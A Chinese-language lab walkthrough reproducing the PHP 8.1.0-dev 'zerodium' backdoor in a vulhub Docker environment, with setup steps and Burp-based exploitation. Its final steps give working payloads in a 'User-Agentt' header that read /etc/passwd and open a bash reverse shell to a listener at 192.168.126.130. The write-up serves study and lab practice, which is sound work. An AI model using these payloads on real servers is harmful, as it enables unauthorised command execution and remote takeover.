vulhub 8.1-backdoor漏洞复现

漏洞描述

PHP 8.1.0-dev 版本在2021年3月28日被植入后门，但是后门很快被发现并清除。当服务器存在该后门时，攻击者可以通过发送User-Agentt头来执行任意代码。

漏洞危害

攻击者可以通过user-agent来执行恶意代码获取重要信息。
漏洞等级
高危 ★★★★

影响范围

PHP 8.1.0-dev

加固方法

建议参考官方公告及时升级或安装相应补丁。
参考链接：
https://news-web.php.net/php.internals/113838
https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
https://www.php.net/

利用工具

网上寻找poc。

验证过程

环境准备

1、首先在ununtu中开启所需要的环境

启动docker环境：service docker start

2、启动整个编译环境

docker-compose up -d

3、查看环境启动状态

docker-compose ps

4、查看靶机ip并用物理机进行访问靶机ip的8080端口

漏洞复现

1、访问漏洞页面，然后打开Burp抓取首页的包并发送到Repeater（重放）模块

2、在数据包中添加User-Agentt: 字段并在后面添加上测试漏洞poc：

zerodiumvar_dump(3*7);

3、将字段后面poc修改为zerodiumsystem(“cat /etc/passwd”);读取文件

4、修改payload执行反弹shell，打开一台kali并设置监听，将poc修改为以下反弹shell的poc

zerodiumsystem(“bash -c ‘exec bash -i >& /dev/tcp/192.168.126.130/6678 0>&1’”);